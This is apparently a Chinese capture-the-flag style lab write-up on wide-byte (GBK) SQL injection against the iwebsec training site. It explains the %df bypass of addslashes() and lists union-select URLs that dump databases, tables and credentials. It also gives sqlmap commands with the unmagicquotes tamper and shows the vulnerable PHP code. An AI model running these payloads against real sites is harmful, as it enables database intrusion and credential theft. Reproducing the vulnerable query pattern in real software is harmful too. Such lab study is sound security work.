首页 > 数据库 >iwebsec-sql注入 06 宽字节字符型注入

iwebsec-sql注入 06 宽字节字符型注入

时间:2023-08-18 19:23:48浏览次数:37  
标签:www 06 sqli df -- --+ sql id 注入

01、题目分析

宽字节字符型注入,因为源代码中传参get值的时候,有一个addslashes() 函数,是返回在预定义字符(' " )之前添加反斜杠的字符串。

也就是说,当我们按照正常的字符型注入的时候,会在'前加入,也就是说,我们在url上

-- url写入
?id=1' order by 3 --+
-- 在addslashes(1' order by 3 --+)函数后实际赋值给id的值为
1\' order by 3 --+

因为sql语句中没有反斜杠,所以一定会报错,那我们就完成不了正常的注入,所以我们应该想办法把他去掉

02、宽字节过滤下的字符型手工注入

在'前加上%df,这样经过addslashes()函数处理后,传参值语句变为

1%df\' order by 3 --+

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

宽字节过滤下的字符型手工注入,也就是加上%df,流程和上面的一样

http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' order by 3 --+
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,3 --+
-- 暴库
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,database() --+
-- 暴表
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
-- 暴列
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(column_name) from information_schema.columns --+
-- 暴字段
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(concat_ws(username,password)) from iwebsec.sqli --+

02、宽字节过滤下的字符型工具注入

方式一:

在url上可以加上%df*进行sql注入,可以像上面03那样一步步的判断,但是因为已经知道有注入有表啥的了,直接一把梭

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/02.php?id=1%df"  --current-db --dump --batch

方式二:

--tamper unmagicquotes脚本是针对宽字节过滤的注入方式

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/02.php?id=1" --current-db --dump --batch   --tamper unmagicquotes

image

03、宽字节代码分析

<?php
if(isset($_GET['id'])){ // 检查是否存在传递的id参数
    $id=addslashes($_GET['id']); // 获取id参数的值,并使用addslashes函数进行转义,提高安全性
    mysql_query("SET NAMES gbk"); // 设置数据库连接的字符集为GBK,确保与数据库的字符集一致

    $sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1"; // 构造SQL查询语句,根据传递的id参数查询user表中对应的记录

    $result=mysql_query($sql); // 执行查询语句,将结果存储在$result变量中

    // 执行其他操作,处理查询结果或输出数据等
} else {
    exit(); // 如果没有传递id参数,则退出(终止脚本运行)
}
?>

标签:www,06,sqli,df,--,--+,sql,id,注入
From: https://www.cnblogs.com/bdrwmy/p/17641420.html

相关文章

  • burpsuite靶场----SQL注入16----DNS外带test
    burpsuite靶场----SQL注入16----oracle之DNS外带test靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band正式开始1.先在burpsuite自带的dns上获取一段url2.使用payload'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+enc......
  • iwebsec-sql注入 07 空格过滤
    01、题目分析空格过滤就是将用户输入的空格过滤掉,众所周知,sql注入语句中会有很多的sql注入语句,如果进行了空格过滤,那么sql注入语句会因为参数连接在一快导致不能正常注入02、手工注入既然是数字型注入,那么对sql注入语句中的空格用其他内容替换即可,可以使用/**/、()、%0a等等,我这......
  • iwebsec-sql注入 03 bool型注入
    01、题目分析:三大盲注型注入中的布尔型注入,说明只会回显正确结果,错误结果将不再回显,对于布尔型注入,手工注入会费时费力,因此布尔注入比较适合工具注入02、sqlmap工具注入:一把梭python.\sqlmap.py-u"http://www.bdrwmy.cn:8001/sqli/03.php?id=1"--current-db--dump--ba......
  • [AT_ABC106_C]题解(C++)
    PartIPreface原题目\(\text{(Luogu)}\)原题目\(\text{(AtCoder)}\)PartIISketch给定一个字符串\(s\)以及一个整数\(k\)。该字符串为纯数字串。其中的数字\(x\)会在\(k\)天后变为\(x^{k-1}\)个\(x\)。求出\(10^{15}\)天后,串\(s\)的第\(k\)位是什么......
  • [AT_ABC106_D]题解(C++)
    PartIPreface原题目\(\text{(Luogu)}\)原题目\(\text{(AtCoder)}\)PartIISketch给定正整数\(n,m,q\)。接下来给定\(m\)组\(x_i,y_i\),表示一列列车的起始站和终点站。在接下来给定\(q\)组\(l_i,r_i\)。对于每组询问,回答有多少\(x_i\geql_i\operatorna......
  • iwebsec-sql注入 04 时间延迟型注入
    01、题目分析:三大盲注中的时间型注入,当查询语句正常的时候,不会有什么返回值或者回显,唯一的特征就是可以通过sleep函数来判断sql语句是否正确,也就是说,当有办法能判断输入语句是否正确的时候,步骤就和bool盲注一样了,话不多说,直接先让我们伟大的sqlmap跑起来02、sqlmap工具注入:一......
  • burpsuite靶场----SQL注入15----oracle的时间盲注
    burpsuite靶场----SQL注入15----oracle的时间盲注靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval正式开始这个和之前的oracle的布尔盲注差不多https://www.cnblogs.com/thebeastofwar/p/17640741.html稍微改一下脚本,因......
  • iwebsec-sql注入 02 字符型注入
    01、题目分析正常来讲的字符型的sql注入,sql语句如下select * from news where id='$id';像这种就可以在注入的传参后面加上一个单引号,然后联合sql语句最后加上注释符--+就行,但是这个网站不行,因为在这个靶场的字符型注入的中的源代码,加入了宽字节过滤,所以正常的字符型注......
  • SQL之母_sql自学网站例题
    http://sqlmother.yupi.icu/感觉还是直接写题对我有效果些虽然我有点容易知难而退。请编写一条SQL查询语句,从名为student的数据表中选择出所有学生的姓名(name)和分数(score),并且额外计算出分数的2倍(double_score)。点击查看代码selectname,score,score*2asdouble_scoref......
  • iwebsec-sql注入 01 数字型注入
    01、题目分析数字型注入的sql语句select * from news where id=$id;最最最常规的,直接注入02、手工注入:先判断有多少列http://www.bdrwmy.cn:8001/sqli/01.php?id=1orderby3--id=-1就是不显示内容http://www.bdrwmy.cn:8001/sqli/01.php?id=-1unionselect1,2,......